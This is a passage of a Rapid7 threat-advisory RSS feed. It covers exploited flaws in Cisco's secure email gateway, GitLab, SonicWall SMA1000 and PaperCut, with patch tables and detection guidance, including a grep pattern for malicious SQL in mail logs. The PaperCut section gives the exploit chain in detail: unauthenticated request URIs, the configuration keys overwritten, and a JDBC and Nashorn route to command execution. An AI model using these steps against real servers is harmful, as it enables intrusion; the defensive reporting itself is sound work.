ltr;"><span style='font-size: undefined;'>Migrate to a fixed release</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>16.5</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>16.5.0-780</span></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'>Given the reported active exploitation and the ability to achieve unauthenticated root-level command execution through malicious email processing, organizations should prioritize patching rather than relying solely on network controls or monitoring. Cisco also strongly recommends that customers migrate to the latest product version, 16.5.0-780.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest remediation guidance, see the vendor </span><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-inj-2bLVGmhX"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Indicators of compromise</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The following indicators of compromise for CVE-2026-76461 were reported within the Cisco security </span><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-inj-2bLVGmhX"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To confirm any attempted exploitation of this vulnerability, review the mail_logs and look for suspicious SQL statements. If the device is part of a cluster, review the logs of each cluster device. The following is a non-exhaustive example of how a malicious SQL statement could be detected in the logs:</span></p><p language="html">cisco-esa&gt; grep -i "COPY.*TO PROGRAM" [IronPort Text Mail Logs Log name - Default: mail_logs]</p><p style="direction: ltr;"><span style='font-size: undefined;'>The presence of any entry in the output may indicate malicious activity.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For CVE-2026-76519  Cisco recommends searching </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>system_logs</span><span style='font-size: undefined;'> on each appliance in a cluster for compromise indicators:</span></p><pre language="html">esa-appliance&gt; grep "System Security" system_logs</pre><p></p><table><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Log Message</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Recommended Action</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>System Security: Suspected compromise indicator was found. Contact TAC for further recommendations.</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Compromise detected. Follow the instructions in the</span><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-afw-zqYJkjxp#Recommendations"><span style='font-size: undefined;'> Recommendations</span></a><span style='font-size: undefined;'> section of this Security Advisory</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>System Security: Security scan did not complete. Contact TAC for further recommendations.</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Contact the Cisco Technical Assistance Center (TAC) for further support.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>System Security: No compromise indicator was found.</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>No compromise detected. Upgrade to a fixed software release if applicable</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Cisco warns that successful exploitation gives attackers enough access to remove or hide evidence; the absence of an on-device indicator therefore does not conclusively rule out compromise. Defenders should cross-check network and firewall logs collected outside the appliance for suspicious activity, including unexpected uploads to external IP addresses or downloads from malicious IP addresses.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;">Exposure Command, InsightVM, and Nexpose</h3><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-76461 with a vulnerability check expected to be available in the September 16 content release.</span></p><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Exposure Command, InsightVM, and Nexpose customers can assess exposure to </span><span style='font-size: undefined;'>CVE-2026-76519</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> with a vulnerability check expected to be available in the October 16 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 15, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 15,2026</strong></span><span style='font-size: undefined;'>: Updated Overview, Indicator of compromise and, Customer sections for newly published Cisco CVE-2026-76519 vulnerability.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-76461-critical-cisco-secure-email-gateway-vulnerability-exploited-in-the-wild</link>
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      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 15 Sep 2026 12:22:50 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[CVE-2026-85706: Critical GitLab Path Traversal Exploited in the Wild]]></title>
      <description><![CDATA[<p></p><h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On September 10, 2026, GitLab </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/"><span style='font-size: undefined;'>published a critical patch release</span></a><span style='font-size: undefined;'> for GitLab Community Edition (CE) and Enterprise Edition (EE). The release addresses </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-85706"><span style='font-size: undefined;'>CVE-2026-85706</span></a><span style='font-size: undefined;'>, a critical path traversal vulnerability (</span><a href="https://cwe.mitre.org/data/definitions/22.html"><span style='font-size: undefined;'>CWE-22</span></a><span style='font-size: undefined;'>) in the repository commits API with a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N"><span style='font-size: undefined;'>10.0</span></a><span style='font-size: undefined;'>. According to GitLab, improper path confinement and missing authentication enforcement could allow an unauthenticated user to read arbitrary files from an affected GitLab server under certain conditions.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>On September 11, 2026, CVE-2026-85706 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-85706"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. CISA set a remediation due date of September 14, 2026, for affected Federal Civilian Executive Branch agencies and marked the vulnerability as subject to </span><a href="https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk"><span style='font-size: undefined;'>forensic triage requirements</span></a><span style='font-size: undefined;'> under Binding Operational Directive 26-04.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations running affected self-managed GitLab instances should remediate CVE-2026-85706 on an emergency basis, outside of normal patch cycles.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A vendor-supplied update is available to remediate CVE-2026-85706. Organizations running affected self-managed GitLab CE or EE instances should upgrade to a fixed version immediately.</span></p><p></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected GitLab CE/EE versions</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed version</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>All versions from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>18.7</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.1.8</span></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.1.8</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>All versions from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2.6</span></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2.6</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>All versions from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3.2</span></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3.2</span></span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action. Per GitLab, all self-managed deployment types are affected, including Omnibus, source code, and Helm chart deployments.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The updates include database migrations. Single-node installations will experience downtime while the migrations run; multi-node deployments can use GitLab's zero-downtime upgrade procedure. Of the fixed releases, only </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3.2</span></span><span style='font-size: undefined;'> includes post-deployment migrations.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The patch release also addresses 17 other vulnerabilities. These include </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-87719"><span style='font-size: undefined;'>CVE-2026-87719</span></a><span style='font-size: undefined;'>, a critical insecure deserialization vulnerability (</span><a href="https://cwe.mitre.org/data/definitions/502.html"><span style='font-size: undefined;'>CWE-502</span></a><span style='font-size: undefined;'>) in GitLab EE with a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"><span style='font-size: undefined;'>9.9</span></a><span style='font-size: undefined;'>. GitLab states that, under certain conditions, an authenticated user with Duo Chat access could obtain Advanced Search instance configurations and sensitive credentials using a specially crafted GraphQL subscription argument. At the time of publication, only CVE-2026-85706 is known to be exploited in the wild.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Given the confirmed exploitation, Rapid7 strongly recommends looking for signs of compromise even after the update has been applied. Organizations subject to CISA's BOD 26-04 should also follow the forensic triage requirements associated with the KEV entry.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to the vendor's </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, InsightVM, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-85706 with a vulnerability check available in the September 15 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 14, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li></ul><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-85706-critical-gitlab-path-traversal-exploited-in-the-wild</link>
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      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 14 Sep 2026 10:02:57 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[Critical SonicWall SMA1000 Vulnerabilities CVE-2026-83548, CVE-2026-83549 Exploited in the Wild]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On September 1, 2026, SonicWall </span><a href="https://www.sonicwall.com/es-mx/support/notices/product-notice-sma-1000-series-affected-by-multiple-vulnerabilities-snwlid-2026-0016/kA1VN000002AXmQ0AW"><span style='font-size: undefined;'>disclosed</span></a><span style='font-size: undefined;'> two vulnerabilities affecting SonicWall SMA1000 appliances that the vendor says are being actively exploited in the wild. The vulnerabilities, </span><a href="https://nvd.nist.gov/vuln/detail/cve-2026-83548"><span style='font-size: undefined;'>CVE-2026-83548</span></a><span style='font-size: undefined;'> and </span><a href="https://nvd.nist.gov/vuln/detail/cve-2026-83549"><span style='font-size: undefined;'>CVE-2026-83549</span></a><span style='font-size: undefined;'>, can be chained to achieve unauthenticated remote code execution (RCE) on affected appliances.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-83548 is a critical pre-authentication server-side request forgery (SSRF) vulnerability in the SMA1000 Appliance Work Place interface. The flaw has a CVSS v3.1 base score of </span><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"><span style='font-size: undefined;'>10.0</span></a><span style='font-size: undefined;'> and can allow a remote, unauthenticated attacker to access sensitive functionality and perform unauthorized operations through an unintended alternate access path.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-83549 is a high-severity OS command injection vulnerability in the Appliance Management Console (AMC). On its own, exploitation requires an authenticated administrator and specific system conditions. Although, by leveraging the SSRF vulnerability CVE-2026-83548 an attacker could potentially exploit CVE-2026-83549 to execute arbitrary OS commands without prior authentication.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall SMA1000 appliances are enterprise secure remote access gateways used to provide employees and other authorized users with access to internal applications and resources. Their role as network-edge systems makes successful exploitation particularly concerning, since affected Work Place interfaces may be exposed directly to the internet as part of normal deployment.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall has confirmed active exploitation of both vulnerabilities in the wild, </span><span style='font-size: undefined;'>and both </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-83548"><span style='font-size: undefined;'>CVE-2026-83548</span></a><span style='font-size: undefined;'> and </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-83549"><span style='font-size: undefined;'>CVE-2026-83549</span></a><span style='font-size: undefined;'> have been added to CISA's Known Exploited Vulnerabilities (</span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>KEV</span></a><span style='font-size: undefined;'>) catalog. </span><span style='font-size: undefined;'>No public proof-of-concept exploit, indicators of compromise (IOCs), or attribution for the current activity were identified in the research available at the time of publication.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerabilities affect SMA1000 Models - 6210, 7210, 8200v running the following versions:</span></p><table><colgroup data-width='500'><col style="width:47.460317460317455%"/><col style="width:52.539682539682545%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Vulnerable Versions</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed Versions</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3-03453 platform-hotfix</span></span><span style='font-size: undefined;'> and earlier</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3-03526 (platform-hotfix)</span></span><span style='font-size: undefined;'> and higher versions</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0-02835 platform-hotfix </span></span><span style='font-size: undefined;'>and earlier</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0-02952 (platform-hotfix)</span></span><span style='font-size: undefined;'> and higher versions.</span></p><p></p></td></tr></tbody></table><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations operating affected SonicWall SMA1000 appliances should prioritize applying SonicWall’s updated platform hotfixes immediately. Because exploitation was occurring before public disclosure, organizations should not rely solely on patching to determine whether an appliance has already been compromised.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall recommends upgrading affected appliances to:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3-03526 platform-hotfix</span></span><span style='font-size: undefined;'>, for systems on the </span><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3</span></span><span style='font-size: undefined;'> branch</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0-02952 platform-hotfix</span></span><span style='font-size: undefined;'>, for systems on the </span><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0</span></span><span style='font-size: undefined;'> branch</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Affected Product/Component:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall SMA1000 Appliance Work Place and Appliance Management Console</span></p></li></ul><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Version </span><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3-03453 platform-hotfix</span></span><span style='font-size: undefined;'> and earlier are affected.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Version </span><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0-02835 platform-hotfix</span></span><span style='font-size: undefined;'> and earlier are affected.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall additionally recommends that customers contact SonicWall Technical Support for assistance reviewing appliances for indicators of compromise.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>If evidence of compromise is identified, SonicWall recommends:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Re-imaging affected hardware appliances or re-deploying affected virtual appliances.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Changing all user and administrator passwords.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Resetting Time-based One-Time Password (TOTP) tokens.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Given the confirmed exploitation of these vulnerabilities, organizations should treat potentially exposed appliances running vulnerable software as a priority for investigation as well as remediation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Please read the SonicWall </span><a href="https://www.sonicwall.com/es-mx/support/notices/product-notice-sma-1000-series-affected-by-multiple-vulnerabilities-snwlid-2026-0016/kA1VN000002AXmQ0AW"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'> for the latest vendor guidance.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3>Exposure Command, InsightVM, and Nexpose</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-83548 and CVE-2026-83549 in the SMA1000 Appliance series with vulnerability checks expected to be available in the September 3rd content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 2, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>September 3, 2026:</strong></span><span style='font-size: undefined;'> CVE added to CISA KEV.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-critical-sonicwall-sma1000-vulnerabilities-cve-2026-83548-cve-2026-83549-exploited-in-the-wild</link>
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      <category><![CDATA[Emergent Threat Response]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 02 Sep 2026 16:58:45 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[PaperCut NG/MF Critical Zero-Day Exploited in the Wild]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview	</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On August 27, 2026, PaperCut Software published an </span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/"><span style='font-size: undefined;'>urgent security advisory</span></a><span style='font-size: undefined;'> stating that it is investigating active exploitation of a vulnerability affecting PaperCut NG and PaperCut MF. PaperCut has confirmed customer incidents and is treating the issue as a security emergency. At the initial time of disclosure, the vulnerability had not been assigned a CVE identifier, and PaperCut had not publicly disclosed a CVSS score, vulnerability class, authentication requirements, or the technical details of the exploit path. However on August 28, the vendor assigned CVE-2026-81578 and CVE-2026-82078 for the two vulnerabilities that make up the exploit chain.</span></p><table><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE ID</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CWE</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVSSv4</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-81578</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Authentication Bypass</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-306 Missing authentication for critical function.</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>8.8 (High)</span></a></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-82078</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Unsafe Dynamic Class Loading in Database Connector</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-470 Use of Externally-Controlled input to select classes or code ('unsafe reflection').</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"><span style='font-size: undefined;'>9.4 (Critical)</span></a></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut NG and PaperCut MF are print management platforms commonly deployed within enterprise, education, and other organizational environments. Because the PaperCut Application Server provides web-accessible administrative and application functionality, organizations with servers exposed to the public internet should prioritize remediation and access restriction.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut stated in its </span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/#current-status"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> that information supplied by a university customer’s security team and digital forensics and incident response team enabled its security response team to reproduce the vulnerability in PaperCut NG and PaperCut MF. On August 28, 2026 at 02:10 AEST, PaperCut released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26, followed later the same day with patches for version 24.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut has been targeted in the past; in 2023, </span><a href="https://www.rapid7.com/blog/post/2023/05/17/etr-cve-2023-27350-ongoing-exploitation-of-papercut-remote-code-execution-vulnerability/"><span style='font-size: undefined;'>CVE-2023-27350</span></a><span style='font-size: undefined;'> was broadly exploited in the wild by multiple threat-actor groups, including ransomware operators. This prior history increases the urgency organizations should address this new zero-day with.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut currently considers all versions of PaperCut NG and PaperCut MF potentially impacted. Customers operating internet-accessible PaperCut Application Servers should take immediate action even if no suspicious activity has been observed.</span></p><p><span style='font-size: undefined;'>On August 31, 2026, both CVE-2026-81578 and CVE-2026-82078 were added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>known exploited vulnerabilities</span></a><span style='font-size: undefined;'> (KEV), based on evidence of active exploitation. A Metasploit module is now </span><a href="https://github.com/rapid7/metasploit-framework/pull/21842"><span style='font-size: undefined;'>available</span></a><span style='font-size: undefined;'> to validate exposure to the exploit chain.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerability is an authentication bypass that lets attackers invoke privileged PaperCut components. This can be leveraged to reconfigure an external database lookup. When this lookup is triggered, malicious SQL can be executed, resulting in remote code execution.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut uses the Apache </span><a href="https://tapestry.apache.org/"><span style='font-size: undefined;'>Tapestry</span></a><span style='font-size: undefined;'> framework, whose "complex direct" request format can identify one page to display and a different page containing the component to execute. PaperCut validates access only to the displayed page. By selecting either the public </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Error</span></span><span style='font-size: undefined;'> page or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Exception</span></span><span style='font-size: undefined;'> page for display, an attacker can bypass authentication while invoking administrative components belonging to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ConfigEditor</span></span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>UserList</span></span><span style='font-size: undefined;'>. Additionally, the first emergency patch could be bypassed by using the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Home</span></span><span style='font-size: undefined;'> page for display, however the newest version of the vendor patch correctly remediates this bypass.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attack uses HTTP POST requests to the following URIs (Note that the path segment with the value 1 shown below can be any value for this path segment, and the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Error</span></span><span style='font-size: undefined;'> path segment may also be the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Exception</span></span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Home</span></span><span style='font-size: undefined;'> path segment):</span></p><pre language="html">/app?service=direct/1/Error/ConfigEditor/quickFindForm
/app?service=direct/1/Error/ConfigEditor/$Form
/app?service=direct/1/Error/UserList/$QuickFind.$Form</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The first two URIs provide unauthenticated access to PaperCut's configuration editor. The third can invoke a user or card search that triggers the configured external database lookup.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker first uses the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ConfigEditor</span></span><span style='font-size: undefined;'> requests to modify four external user-lookup settings:</span></p><pre language="html">user-lookup.db-driver
user-lookup.db-url
user-lookup.id-to-username-sql
user-lookup.enabled</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>These settings normally allow administrators to connect PaperCut to an external card database. After bypassing authentication, however, the attacker can configure them with a malicious JDBC connection and a malicious SQL statement.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By leveraging PaperCut's bundled Apache Derby database driver and supplying a Derby </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>CALL</span></span><span style='font-size: undefined;'> statement that activates its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>foreignViews</span></span><span style='font-size: undefined;'> feature, Derby opens an attacker-controlled H2 JDBC URL. H2 processes an inline </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>INIT</span></span><span style='font-size: undefined;'> statement that creates a JavaScript-backed database trigger. PaperCut includes the Nashorn JavaScript engine, allowing that trigger to start an operating-system process. However it is expected that other mechanisms to execute an arbitrary command can also be used instead of Nashorn. Finally, the attacker submits a search through the forged </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>UserList</span></span><span style='font-size: undefined;'> request. This activates the external lookup and executes the malicious SQL.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations running PaperCut NG or PaperCut MF should prioritize patching on an emergency basis, particularly where the PaperCut Application Server is accessible from the public internet.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut has released emergency </span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/#emergency-patch-release"><span style='font-size: undefined;'>patches</span></a><span style='font-size: undefined;'> for PaperCut NG and PaperCut MF versions 24, 25 and 26. </span></p><p><span style='font-size: undefined;'><strong>Updated on September 1, 2026: Note that the vendor has released a </strong></span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/#emergency-patch-release-3"><span style='font-size: undefined;'><strong>third version</strong></span></a><span style='font-size: undefined;'><strong> of the emergency patch. Any organization that has applied either the original first version or the second version of the emergency patch is not fully protected, and must apply the third emergency patch immediately.</strong></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor notes that these builds have not undergone their normal release process and are intended as emergency fixes for customers with public-facing servers that cannot otherwise sufficiently mitigate exposure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut recommends that administrators immediately restrict web access to trusted IP addresses only, such as internal corporate network ranges. Firewall rules, network access controls, reverse-proxy restrictions, or equivalent measures should be used to prevent untrusted internet hosts from reaching PaperCut web interfaces.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Please read the PaperCut security </span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> for the latest remediation guidance, updated indicators of compromise, and additional release information.</span></p><h2 style="direction: ltr;">Artifacts/Evidence Sources and 